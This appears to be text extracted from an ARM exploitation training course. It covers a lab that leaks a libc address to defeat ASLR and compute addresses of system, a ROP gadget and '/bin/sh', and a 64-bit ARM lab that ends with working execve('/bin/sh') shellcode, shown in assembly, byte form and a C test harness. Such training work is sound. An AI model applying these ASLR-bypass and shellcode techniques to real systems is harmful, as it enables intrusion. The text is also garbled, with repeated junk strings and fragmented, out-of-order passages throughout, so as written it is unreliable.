nemo@mako:~/labs/leak$ ./leak
nemo@mako:~/labs/leak$ ./leak
09b91222e5d2d3d668cf8e52ec5d35ba
Enter a command: clue
The address of memmove is: 0xb6e42310
nemo@mako:~/labs/leak$ ./leak
micede1865@wii999_com
Enter a command: clue
The address of memmove is: 0xb6ed9310
Notice the subtle changes in the memmove address every time the process restarts.
24356915
Throwing an exploit without knowing the correct runtime addresses of our shellcode, gadgets, functions, etc would result
in a failed attempt and likely crash the process.
Looking at the leak binary using the file command, we see that it is dynamically linked.
There is no memmove function in leak.c, so let's look at the other shared objects required by leak and find out where
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
these files are located on the filesystem. Once we locate the shared object files, we can check to see which one has the
memmove function.
The ldd command shows the dependencies (shared object files) of an ELF.
live
libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0xb6e5f000)
/lib/ld-linux-armhf.so.3 (0xb6f6f000)
09b91222e5d2d3d668cf8e52ec5d35ba
Using the readelf tool, we can view all symbols that get exported by a shared object. Since the required libc shared
object will be loaded into memory when the leak process starts up, the exported symbols will be accessible during
runtime.
The C library is pretty big. Let's run readelf -s on the shared object file.
micede1865@wii999_com
readelf -s /lib/arm-linux-gnueabihf/libc-2.31.so
Symbol table '.dynsym' contains 2343 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 0001a600 0 SECTION LOCAL DEFAULT 14
2: 000fa1d0 0 SECTION LOCAL DEFAULT 28
...
24356915
There is a lot of output there. Let's narrow it down and look for the memmove function by running it again, but this time
using a couple of grep commands piped at the end.
In the output above, the second column shows us the offset for memmove@@GLIBC_2.4 is 0x5f310. Some of the other
entries are similar, but this is the one we are looking for. The 'objdump' tool can also be used to accomplish this.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Finding the base of libc
How does this help us? If we can leak the runtime address of memmove , then we can calculate the runtime base address
of libc. We can do this because the offset for memmove within libc will always be the same.
Once we have the base address of libc, we can calculate the addresses of other points of interest within libc using their
live
offsets. First, let's focus on getting the base address of libc.
ASLR shifts the base address of libc and other segments loaded in memory. In this case, we are talking about the base
address of the executable segment of libc within our process. Everything loaded within the segment is still relative to the
base address. In other words, not everything within the segment is scrambled, only the base address gets shifted and
everything within the segment stays relative to the base.
09b91222e5d2d3d668cf8e52ec5d35ba
Using the memory leak, how do we figure out the base address of libc? Well, so far we know:
• the offset from the base of libc to memmove is 0x5f310 (we found using the readelf command)
The offset doesn't change unless the file itself changes, so as long as we are using this version of libc-2.31.so, the offset
micede1865@wii999_com
of memmove will be 0x5f310. Let's verify this.
nemo@mako:~/labs/leak$ ./leak
Note
Paul Erwin
If you are using the terminator console, ctrl+shift+o will split your screen below and ctrl+shift+e will split your screen to the right
giving you another terminal. Optionally, ctrl+shift+t will create a new tab. However, the new split window or new tab will be in the
hammerhead vm, not in mako.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@hammerhead:~/qemu/mako$ python3
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xb6e99310-0x5f310)
'0xb6e3a000'
live
Using this calculation, we see the base address for the code section of libc shoud be 0xb6e3a000.
Let's verify this by reading the memory map for the leak process. To do this, we need to be connected to the mako vm.
Open another terminal window, or split one in terminal and make a second connection to mako from hammerhead via
ssh.
If you are following along, your memmove address and calculated address should be different. Also, do not exit the process when
09b91222e5d2d3d668cf8e52ec5d35ba
doing this exercise, or else you need to use the new memmove address to recalculate the base of libc.
Warning
24356915
If you have more than one instance of leak running, kill all but one instance to ensure you are using the correct process map.
Paul Erwin
The second column of the first entry shows that the process id for leak is 1600, which we will use to look at the process
map.
Note
If you are running leak as root, you will not be able to see the process map if you are trying to check the process map as the nemo
user.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
To view the process map for leak, run the following command. We use /proc/1600/maps since 1600 was the process id
for leak that we identified earlier.
09b91222e5d2d3d668cf8e52ec5d35ba
bece9000-bed0a000
bed63000-bed64000
bed64000-bed65000
rw-p
r-xp
r--p
00000000
00000000
00000000
00:00
00:00
00:00
0
0
0
[stack]
[sigpage]
[vvar]
bed65000-bed66000 r-xp 00000000 00:00 0 [vdso]
ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]
Based on our previous calculation we did in python, the address should be 0xb6e3a000.
We have a match!
micede1865@wii999_com
b6e3a000-b6f23000 r-xp 00000000 fc:02 921870 /usr/lib/arm-linux-gnueabihf/libc-2.31.so
We see the base address for this section matches our calculation of 0xb6e3a000. Also, the x denotes that this section is
executable, we can confirm that this is the text section. The memmove function is executable code so this makes sense.
Paul Erwin
Since ASLR was off in the rop lab, we used hardcoded addresses for:
• system
• gadget1
• string: "/bin/sh"
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Finding system
Let's start with finding system. We can use the readelf -s command again. This time, instead of looking for memmove ,
we will look for the offset of system . The readelf program is nice, because it gives you a +1 since it is a THUMB function,
objdump can be used as an alternative, but it doesn't recognize this distinction for you.
238: 000c11ad
614: 00032991
96 FUNC
28 FUNC
GLOBAL DEFAULT
GLOBAL DEFAULT
live
nemo@mako:~$ readelf -s /lib/arm-linux-gnueabihf/libc-2.31.so | grep system
14 svcerr_systemerr@@GLIBC_2.4
14 __libc_system@@GLIBC_PRIVATE
1410: 00032991 28 FUNC WEAK DEFAULT 14 system@@GLIBC_2.4
Here we see the offset of system is 0x32991, so we should be able to get the address of system in our running process
by adding this offset to the base of libc.
09b91222e5d2d3d668cf8e52ec5d35ba
>>> hex(0xb6e3a000+0x32991)
'0xb6e6c991'
The runtime address for system is 0xb6e6c991. This address can be used in our rop chain.
Finding gadget1
micede1865@wii999_com
Next, we will figure out the address of gadget1. We located this gadget in the rop lab using objdump and grep. Let's do the
same thing again.
24356915
Our gadget is at offset 0x5f3fc within libc. This gadget will:
To get the address of gadget1, we add the offset found using objdump to the base of libc.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
>>> hex(0xb6e3a000+0x5f3fc)
'0xb6e993fc'
The runtime address of gadget1 in the running process is 0xb6e993fc. This address can be used in our rop chain.
Note
live
Remember, if the process is restarted, all of these calculations need to be redone. :)
The /bin/sh string is used as an argument for system. Fortunately for us, this string is available in libc.
09b91222e5d2d3d668cf8e52ec5d35ba
/etc/bindresvport.blacklist
Use the offset from the rop lab. Once you have the offset for this string, if libc doesn't change, the offset to "/bin/sh" won't
change either.
micede1865@wii999_com
Use a reverse engineering or debug tool - Find it in a running instance of gdb with libc loaded (see the rop lab) - ghidra /
Defined Strings window - radare2
We will use radare2 from the hammerhead vm to find the offset for "/bin/sh". Open a new tab or split your Terminator
window.
24356915
A copy of libc-2.31.so is in the ~/labs/leak folder. Remember that this folder is shared between hammerhead and
mako, so you will be able to view it from the hammerhead home folder. Run the following commands.
nemo@hammerhead:~/labs/leak$ r2 libc-2.31.so
Warning: run r2 with -e io.cache=true to fix relocations in disassembly
-- We don't make mistakes... just happy little segfaults.
[0x0001aad8]> aaa
Paul Erwin
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[x] Finding xrefs in noncode section with anal.in=io.maps
[x] Analyze value pointers (aav)
[x] Value from 0x00000000 to 0x000e8c50 (aav)
[x] 0x00000000-0x000e8c50 in 0x0-0xe8c50 (aav)
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
[x] Emulate functions to find computed references (aaef)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
• r2 libc-2.31.so - This opened the file in radare2. 'r2' can be used as a shortened version of the name.
09b91222e5d2d3d668cf8e52ec5d35ba
Radare2 is a great tool.
Using python, we can do some math to get the address of the "/bin/sh" in this instance of the program.
>>> hex(0xb6e3a000+0xe034c)
'0xb6f1a34c'
micede1865@wii999_com
0xb6f1a34c is the runtime address of "/bin/sh". We can use this in our rop chain.
String constants are stored in the .rodata section. Using the -p parameter, we can dump strings for a given section. We will
use grep to find the offset for /bin/sh .
This is the offset for the .rodata section, so we will need to add the offset above (0x13bac) to the address that marks
the beginning of .rodata. We can find this using readelf .
tag .hash .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_d .gnu.version_r .rel.dyn .rel.plt .plt .iplt .tex
__libc_freeres_fn .rodata .stapsdt.base .interp .ARM.extab .ARM.exidx .eh_frame
Now, we can add the offset for .rodata and the offset for the /bin/sh string.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@mako:~$ python -c 'print(hex(0xcc7a0+0x13bac))'
0xe034c
We still need to add this value to the base of libc. This will finally give us the address of /bin/sh in the program's running
memory.
>>> hex(0xb6e3a000+0xe034c)
'0xb6f1a34c'
live
Using the address of memmove , we were able to get the base value of libc (0xb6e3a000) and then calculate the following
09b91222e5d2d3d668cf8e52ec5d35ba
address we need for the exploit.
• system - 0xb6e6c991
• gadget1 - 0xb6e993fc
• "bin/sh" - 0xb6f1a34c
(Optional) Using what you have learned so far, try exploiting this using the exploit_no_offsets.py script.
Note
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Take some time to review this file in depth. It may look complex, but it is simply automating the math we just walked through and
saving an exploit buffer to a file.
The rest of the calculations are automated and the resulting buffer is saved to config.txt file. When the reload
command is given to leak, it will read in the exploit from the config file.
09b91222e5d2d3d668cf8e52ec5d35ba
Enter a command:
In a separate window, edit exploit.py in an editor such as vim or nano and update the memmove address.
Note
micede1865@wii999_com
Since the /home/nemo/labs folder in hammerhead is mapped to the /home/nemo/labs folder in the mako vm, you can edit the /
home/nemo/labs/leak/exploit.py file using a graphical text editor in hammerhead.
To do this, click on the folder icon in the hammerhead desktop and navigate to labs/leak. Right click on the exploit.py file and click
"Open with Text Editor". Make your changes here and then save and exit the file. To avoid any synchronization issues, it is best
practice to exit the file before accessing it in the mako vm.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
# Calculate the absolute addresses according to their offsets
gadget1_addr = libc_addr + offset_gadget1
binstr_addr = libc_addr + offset_binstr
system_addr = libc_addr + offset_system
print("libc addr: 0x%08x, memmove_addr: 0x%08x, gadget1 addr: 0x%08x, binstr addr: 0x%08x, system
addr: 0x%08x" % (libc_addr, memmove_addr, gadget1_addr, binstr_addr, system_addr))
09b91222e5d2d3d668cf8e52ec5d35ba
system addr: 0xb6f09991
Switching back to the window with leak, run the reload command.
nemo@mako:~/labs/leak$ ./leak
micede1865@wii999_com
The address of memmove is: 0xb6f36310
In this lab we used a staged memory leak to show how it can potentially be leveraged to defeat ASLR. By getting a leaked
Paul Erwin
address within libc, we were able to find its base. Once we had the base address we were able to find the runtime
addresses of other crucial items we needed by adding their offsets to the base of libc. As long as the process didn't
restart, these calculated addresses were viable for our exploit. We also used some tools to find the offsets of these items
from the base of a shared object (in this case, libc).
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Use a different function in libc instead of memmove for the staged leak.
Hint:
Make a copy of leak.c and leak the "rename" address form libc instead of "memmove".
When you recompile the updated .c file, be sure to use -fno-stack-protector.
Make a copy of exploit.py to use so you don't overwrite the original script.
09b91222e5d2d3d668cf8e52ec5d35ba
Background
Working with 64-bit ARM is different from working with 32-bit, but there are also many similarities. This lab is intended to
demonstrate the differences while at the same time show how the underlying fundamentals apply.
Objectives
micede1865@wii999_com
• Compiling and debugging
Lab Preparation
24356915
Note
Paul Erwin
Accessing the tiger vm
• User: nemo
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Password: nemo
• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.
• Use the command sudo start_tiger.sh to start the tiger virtual machine.
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
09b91222e5d2d3d668cf8e52ec5d35ba
startup ending with a login prompt.
...
tiger login:
micede1865@wii999_com
• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
switch between tabs by clicking the names at the top of the Terminator window.
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.
Paul Erwin
Compiling
Compiling is done the same as in 32-bit ARM. When logged into the tiger vm, we can use it's native version of gcc.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@tiger:~$ cd labs64/simple_loop/src/
nemo@tiger:~/labs64/simple_loop/src$ ls
simple_loop.c
live
interpreter /lib/ld-linux-aarch64.so.1, BuildID[sha1]=ed6354678540f6f7352053032535621a914c3c8d, for
GNU/Linux 3.7.0, not stripped
nemo@tiger:~/labs64/simple_loop/src$ ./simple_loop
total: 10
While in the hammerhead (x86_64) vm, aarch64 binaries can be cross compiled using the aarch64-linux-gnu-gcc prefix.
09b91222e5d2d3d668cf8e52ec5d35ba
Since the hammerhead has its own version of gcc that will compile x86_64 binaries, we must explicitly tell it that we want
to compile for aarch64 by using the aarch64-linux-gnu-* tools.
nemo@hammerhead:~/labs64/simple_loop/src$ uname -a
Linux hammerhead 5.8.0-44-generic #50~20.04.1-Ubuntu SMP Wed Feb 10 21:07:30 UTC 2021 x86_64 x86_64
x86_64 GNU/Linux
micede1865@wii999_com
nemo@hammerhead:~/labs64/simple_loop/src$ aarch64-linux-gnu-gcc -static -o simple_loop.arm64 ./
simple_loop.c
Paul Erwin
nemo@hammerhead:~/labs64/simple_loop/src$ qemu-aarch64 ./simple_loop.arm64
total: 10
A list of additional aarch64 tools can be found by typing aarch64-linux-gnu- and hitting the tab key. We can also run
some additional, non-native tools besides gcc that we have gone over in class (as, ld, objcopy, objdump, readelf, etc).
nemo@hammerhead:~$ aarch64-linux-gnu-
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
aarch64-linux-gnu-addr2line
aarch64-linux-gnu-ar
aarch64-linux-gnu-as
aarch64-linux-gnu-gcc-nm
aarch64-linux-gnu-gcc-nm-9
aarch64-linux-gnu-gcc-ranlib
aarch64-linux-gnu-ld.bfd
aarch64-linux-gnu-ld.gold
aarch64-linux-gnu-nm
aarch64-linux-gnu-c++filt aarch64-linux-gnu-gcc-ranlib-9 aarch64-linux-gnu-objcopy
aarch64-linux-gnu-cpp aarch64-linux-gnu-gcov aarch64-linux-gnu-objdump
aarch64-linux-gnu-cpp-9 aarch64-linux-gnu-gcov-9 aarch64-linux-gnu-ranlib
aarch64-linux-gnu-dwp aarch64-linux-gnu-gcov-dump aarch64-linux-gnu-readelf
aarch64-linux-gnu-elfedit aarch64-linux-gnu-gcov-dump-9 aarch64-linux-gnu-size
aarch64-linux-gnu-gcc
aarch64-linux-gnu-gcc-9
aarch64-linux-gnu-gcc-ar
live
aarch64-linux-gnu-gcov-tool
aarch64-linux-gnu-gcov-tool-9
aarch64-linux-gnu-gprof
aarch64-linux-gnu-strings
aarch64-linux-gnu-strip
aarch64-linux-gnu-gcc-ar-9 aarch64-linux-gnu-ld
These tools are already installed on the hammerhead vm, but if you are setting up a new system, they can be quickly
installed on debian/ubuntu with the following command:
Debugging
09b91222e5d2d3d668cf8e52ec5d35ba
Debugging is done the same as in 32-bit ARM. However, you will notice some significant differences when interacting with
64-bit programs.
Note
micede1865@wii999_com
If you prefer to use gef with gdb, you can turn it on by uncommenting the line in the ~/.gdbinit file. To uncomment the line, remove
the opening '#' using nano or vi.
Let's try debugging the 64-bit version of adder. This program uses the same source code but was compiled for 64-bit
ARM.
nemo@tiger:~$ cd ~/labs64/adder
nemo@tiger:~/labs64/adder$ ls
24356915
adder adder_lots src
Paul Erwin
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "aarch64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
<http://www.gnu.org/software/gdb/documentation/>.
09b91222e5d2d3d668cf8e52ec5d35ba
0x0000000000000950
0x0000000000000954
0x0000000000000958
<+132>:
<+136>:
<+140>:
ldr
ldr
bl
w2, [sp, #52]
w3, [sp, #40]
0x88c <adder>
...
(gdb)
The first thing we notice is that the addresses are much larger. We also see the 64-bit register names that start with x or
w.
Warning
micede1865@wii999_com
If we disassemble the main function prior to running the program, we will see 0's in the address prefixes. To see what the addresses
will actually be at runtime, we need to start the program and then look at the main function again.
24356915
Let's try this again, but this time we will break at main, and then look at the disassembly again. We should see different
addresses.
(gdb) b main
Breakpoint 1 at 0x8e0
(gdb) run
Starting program: /home/nemo/labs64/adder/adder
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x0000aaaaaaaaa948 <+124>:
0x0000aaaaaaaaa94c <+128>:
0x0000aaaaaaaaa950 <+132>:
ldr w0, [sp, #44]
ldr w1, [sp, #48]
ldr w2, [sp, #52]
0x0000aaaaaaaaa954 <+136>: ldr w3, [sp, #40]
0x0000aaaaaaaaa958 <+140>: bl 0xaaaaaaaaa88c <adder>
...
(gdb)
(gdb) b *0x0000aaaaaaaaa958
Breakpoint 2 at 0xaaaaaaaaa958
09b91222e5d2d3d668cf8e52ec5d35ba
(gdb)
Before we look at the arguments passed to the adder function, let's review the C source code for adder.c.
#include <stdio.h>
}
micede1865@wii999_com
unsigned int result = a+b+c+d;
return result;
if (argv[1]) {
24356915
sscanf(argv[1], "%d", &d);
}
result = adder(a,b,c,d);
}
printf("Result: %d\n", result);
Paul Erwin
In gdb we should see a=3, b=5, c=7, and d=0 based on our understanding of the source code in the main function above.
Similar to 32-bit ARM, arguments are passed in the registers, but instead of r0-r3, 64-bit ARM can use registers x0-x7.
Note
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
If the values in registers are less than 32-bits, you may see w0-w7 being used in the assembly. The 'w' registers represent the 64-bit
'x' registers as 32-bit.
We should be stopped at the call to adder. Let's look at the assembly in the main function leading up to this point.
live
...
09b91222e5d2d3d668cf8e52ec5d35ba
0x0000aaaaaaaaa948
0x0000aaaaaaaaa94c
0x0000aaaaaaaaa950
<+124>:
<+128>:
<+132>:
ldr
ldr
ldr
w0, [sp, #44]
w1, [sp, #48]
w2, [sp, #52]
0x0000aaaaaaaaa954 <+136>: ldr w3, [sp, #40]
0x0000aaaaaaaaa958 <+140>: bl 0xaaaaaaaaa88c <adder>
We see values getting loaded into w0-w3. If we review the beginning of the main function, we can see that these are the
values 3,5,7,0. Let's verify this by looking at the registers.
(gdb) i r
micede1865@wii999_com
x0 0x3 3
x1 0x5 5
x2 0x7 7
x3 0x0 0
x4 0x0 0
x5
x6
x7
0xff78a4ecb7a55075
0xfffff7fc8608
0x1001000401004
24356915
-38099260232347531
281474842265096
281543700385796
x8 0xffffffffffffffff -1
x9 0x3fffffffffffffff 4611686018427387903
x10 0x2000000000000000 2305843009213693952
x11 0x1001000401004 281543700385796
x12 0xfffff7e60208 281474840789512
x13 0x0 0
x14
x15
x16
0x0
0x6fffff47
0xaaaaaaabaf88
Paul Erwin
0
1879048007
187649984540552
x17 0xfffff7e7cfa8 281474840907688
x18 0x73516240 1934713408
x19 0xaaaaaaaaa9a8 187649984473512
x20 0x0 0
x21 0xaaaaaaaaa780 187649984472960
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
x22
x23
x24
0x0
0x0
0x0
0
0
0
x25 0x0 0
x26 0x0 0
x27 0x0 0
x28 0x0 0
x29 0xfffffffff360 281474976707424
x30
sp
pc
0xfffff7e7d090
0xfffffffff360
0xaaaaaaaaa958
281474840907920
0xfffffffff360 live
0xaaaaaaaaa958 <main+140>
cpsr 0x60001000 [ EL=0 SSBS C Z ]
fpsr 0x0 0
fpcr 0x0 0
vg 0x8 8
There are a lot more registers but we see that registers x0-x3 hold the values being sent to the adder function as we
09b91222e5d2d3d668cf8e52ec5d35ba
expected.
We saw these values being loaded into the "w" registers in the assembly. Since the w registers are 32-bit representations
of the x registers, we should see the same thing if we try to read them as w registers. Let's confirm this with the 'info reg'
command.
Paul Erwin
One difference is that we can pass up to 8 arguments in registers x0-x7 before needing to use the stack. Let's look at how
this looks in the 64-bit version of adder_lots program.
The adder_lots program is similar to the adder program, except it passes a total of 9 arguments to be added.
unsigned int a = 1;
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmKunsigned
unsigned
unsigned
int b
int c
int d
= 2;
= 3;
= 4;
unsigned int e = 5;
unsigned int f = 6;
unsigned int g = 7;
unsigned int h = 8;
unsigned int i = 0;
unsigned short
if (argv[1]) {
result = 0;
live
sscanf(argv[1], "%d", &i);
}
result = adder(a,b,c,d,e,f,g,h,i);
Quit any existing gdb sessions, and start up adder_lots in a new debug session.
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@tiger:~/labs64/adder$ gdb adder_lots
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
micede1865@wii999_com
This GDB was configured as "aarch64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
(gdb) b main
Breakpoint 1 at 0x91c
(
gdb) run
Paul Erwin
Starting program: /home/nemo/labs64/adder/src/adder_lots
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Examine the disassembly for the main function.
09b91222e5d2d3d668cf8e52ec5d35ba
...
Here we see the assembly leading up to the call to the adder function. However, we see more registers getting loaded
prior to the call. Set a breakpoint at the call to adder and continue execution.
(gdb) b *0x0000aaaaaaaaa9d4
Breakpoint 2 at 0xaaaaaaaaa9d4
(gdb) c
Continuing.
micede1865@wii999_com
Breakpoint 2, 0x0000aaaaaaaaa9d4 in main ()
(gdb)
Now, let's look at the registers with the 'i r' (info registers) command.
(gdb) i r
x0 0x1 1
24356915
x1 0x2 2
x2 0x3 3
x3 0x4 4
x4 0x5 5
x5 0x6 6
x6
x7
x8
0x7
0x8
0xffffffffffffffff
Paul Erwin
7
8
-1
x9 0x3ff 1023
x10 0x20000000200 2199023256064
x11 0x0 0
x12 0xfffff7e60208 281474840789512
x13 0x0 0
x14 0x0 0
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
x15
x16
x17
0x6fffff47
0xaaaaaaabaf88
0xfffff7e7cfa8
1879048007
187649984540552
281474840907688
x18 0x73516240 1934713408
x19 0xaaaaaaaaaa28 187649984473640
x20 0x0 0
x21 0xaaaaaaaaa780 187649984472960
x22 0x0 0
x23
x24
x25
0x0
0x0
0x0
0
0
0
live
x26 0x0 0
x27 0x0 0
x28 0x0 0
x29 0xfffffffff320 281474976707360
x30 0xfffff7e7d090 281474840907920
09b91222e5d2d3d668cf8e52ec5d35ba
fpcr
vg
pauth_dmask
0x0
0x8
0x7f000000000000
0
8
35747322042253312
pauth_cmask 0x7f000000000000 35747322042253312
(gdb)
Here we see the expected values in x0-x7. Like before, we can also look at them in the context of 32-bit.
x0
x1
micede1865@wii999_com
(gdb) i r $x0 $x1 $x2 $x3 $x4 $x5 $x6 $x7
0x1
0x2
1
2
x2 0x3 3
x3 0x4 4
x4 0x5 5
x5 0x6 6
x6 0x7 7
x7 0x8 8
(gdb) i r $w0 $w1 $w2 $w3 $w4 $w5 $w6 $w7
w0 0x1 1
24356915
w1 0x2 2
w2 0x3 3
w3 0x4 4
w4 0x5 5
w5 0x6 6
w6
w7
0x7
0x8
7
8
Paul Erwin
There were 8 parameters passed to adder and we can see the final value (which was 0) on the top of the stack.
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Shellcode
Since the assembly for aarch64 is different from 32-bit ARM, the shellcode looks different as well. However, many of the
underlying concepts are the same. For example, to get a shell using execve, we have the same objective:
• In 32-bit ARM, the syscall id for execve was 11. In 64-bit it is 221.
nemo@tiger:~$ cd labs64/shellcode/asm
nemo@tiger:~/labs64/shellcode/asm$
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@tiger:~/labs64/shellcode/asm$ cat execve.s
//Original shellcode available here: https://www.exploit-db.com/exploits/47048
//Author: Ken Kitahara
.section .text
.global _start
_start:
micede1865@wii999_com
// execve("/bin/sh", NULL, NULL)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
// x1 = 0x000000000000622F ("b/")
// x1 = 0x000000006E69622F ("nib/")
movk x1, #0x732F, lsl #32 // x1 = 0x0000732F6E69622F ("s/nib/")
movk x1, #0x68, lsl #48 // x1 = 0x0068732F6E69622F ("hs/nib/")
str x1, [sp, #-8]! // push x1
mov x1, xzr // args[1] = NULL
mov x2, xzr // args[2] = NULL
add x0, sp, x1
mov x8, #221
svc #0x1337
24356915
// args[0] = pointer to "/bin/sh\0"
// Systemcall Number = 221 (execve)
// Invoke Systemcall
We can assemble and test shellcode the same way we did in 32-bit ARM.
Paul Erwin
nemo@tiger:~/labs64/shellcode/asm$ as -o execve.o execve.s
nemo@tiger:~/labs64/shellcode/asm$ objdump -d execve.o
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0000000000000000 <_start>:
0: d28c45e1 mov x1, #0x622f // #25135
4: f2adcd21 movk x1, #0x6e69, lsl #16
8: f2ce65e1 movk x1, #0x732f, lsl #32
c: f2e00d01 movk x1, #0x68, lsl #48
10: f81f8fe1 str x1, [sp, #-8]!
14: aa1f03e1 mov x1, xzr
18:
1c:
20:
aa1f03e2
8b2163e0
d2801ba8
mov x2, xzr
add x0, sp, x1
mov x8, #0xdd
live // #221
24: d40266e1 svc #0x1337
By running objdump -d on the .o file, we can verify that there are no null (0x00) bytes in the object code.
nemo@tiger:~/labs64/shellcode/asm$ ./execve
$
09b91222e5d2d3d668cf8e52ec5d35ba
The shellcode works!
We also want to be able to extract the bytes so that we can paste them directly into our exploit. We do this with the
objcopy command. This extracts the bytes making up the instructions and is all that we need to run the code. We can view
this with the xxd command.
micede1865@wii999_com
nemo@tiger:~/labs64/shellcode/asm$ objcopy -O binary execve.o execve.bin
To format these bytes the way we need them for python, we can link together a few commands.
24356915
nemo@tiger:~/labs64/shellcode/asm$ xxd -ps execve.bin | tr -d '\n' | sed 's/../\\x&/g'
\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa
The shellcode is now ready to be copied and pasted into a python exploit.
nemo@tiger:~/labs64/shellcode/asm$ cd ../c
nemo@tiger:~/labs64/shellcode/c$
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@tiger:~/labs64/shellcode/c$ cat execute_shellcode.c
#include <stdio.h>
#include <string.h>
};
PASTE SHELLCODE HERE.
live
void main(void)
{
// Print the length of the shellcode to the screen
fprintf(stdout, "Length: %d\n", strlen(shellcode));
09b91222e5d2d3d668cf8e52ec5d35ba
}
// Call the shellcode function
shellcode_func();
After objcopy has been ran and a .bin file has been created, we can use the -i parameter in xxd to format the bytes so that
we can copy and paste them into the shellcode[] variable.
micede1865@wii999_com
nemo@tiger:~/labs64/shellcode/c$ xxd -i ../asm/execve.bin
unsigned char ___asm_execve_bin[] = {
0xe1, 0x45, 0x8c, 0xd2, 0x21, 0xcd, 0xad, 0xf2, 0xe1, 0x65, 0xce, 0xf2,
0x01, 0x0d, 0xe0, 0xf2, 0xe1, 0x8f, 0x1f, 0xf8, 0xe1, 0x03, 0x1f, 0xaa,
0xe2, 0x03, 0x1f, 0xaa, 0xe0, 0x63, 0x21, 0x8b, 0xa8, 0x1b, 0x80, 0xd2,
0xe1, 0x66, 0x02, 0xd4
};
unsigned int ___asm_execve_bin_len = 40;
24356915
We only need to copy the bytes within the braces {} and paste that into our C program. If you want to preserve the original
file, make a copy of the .c file to edit and compile.
Now, edit the execute_shellcode_execve.c file and paste in the bytes. Once you have done this, your file should look like
this.
Paul Erwin
nemo@tiger:~/labs64/shellcode/c$ cat execute_shellcode_execve.c
#include <stdio.h>
#include <string.h>
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0xe1, 0x45, 0x8c, 0xd2, 0x21, 0xcd, 0xad, 0xf2, 0xe1, 0x65, 0xce, 0xf2,
0x01, 0x0d, 0xe0, 0xf2, 0xe1, 0x8f, 0x1f, 0xf8, 0xe1, 0x03, 0x1f, 0xaa,
0xe2, 0x03, 0x1f, 0xaa, 0xe0, 0x63, 0x21, 0x8b, 0xa8, 0x1b, 0x80, 0xd2,
0xe1, 0x66, 0x02, 0xd4
};
void main(void)
{
// Print the length of the shellcode to the screenlive
fprintf(stdout, "Length: %d\n", strlen(shellcode));
Compile and execute the C program. Make sure to use the -z execstack -fno-stack-protector parameters.
09b91222e5d2d3d668cf8e52ec5d35ba
nemo@tiger:~/labs64/shellcode/c$ gcc -z execstack -fno-stack-protector -o execute_shellcode_execve
execute_shellcode_execve.c
execute_shellcode_execve.c: In function ‘main’:
execute_shellcode_execve.c:16:31: warning: format ‘%d’ expects argument of type ‘int’, but argument 3
has type ‘size_t’ {aka ‘long unsigned int’} [-Wformat=]
16 | fprintf(stdout, "Length: %d\n", strlen(shellcode));
| ~^ ~~~~~~~~~~~~~~~~~
|
|
|
micede1865@wii999_com |
int
%ld
|
size_t {aka long unsigned int}
nemo@tiger:~/labs64/shellcode/c$ ./execute_shellcode_execve
Length: 40
$
24356915
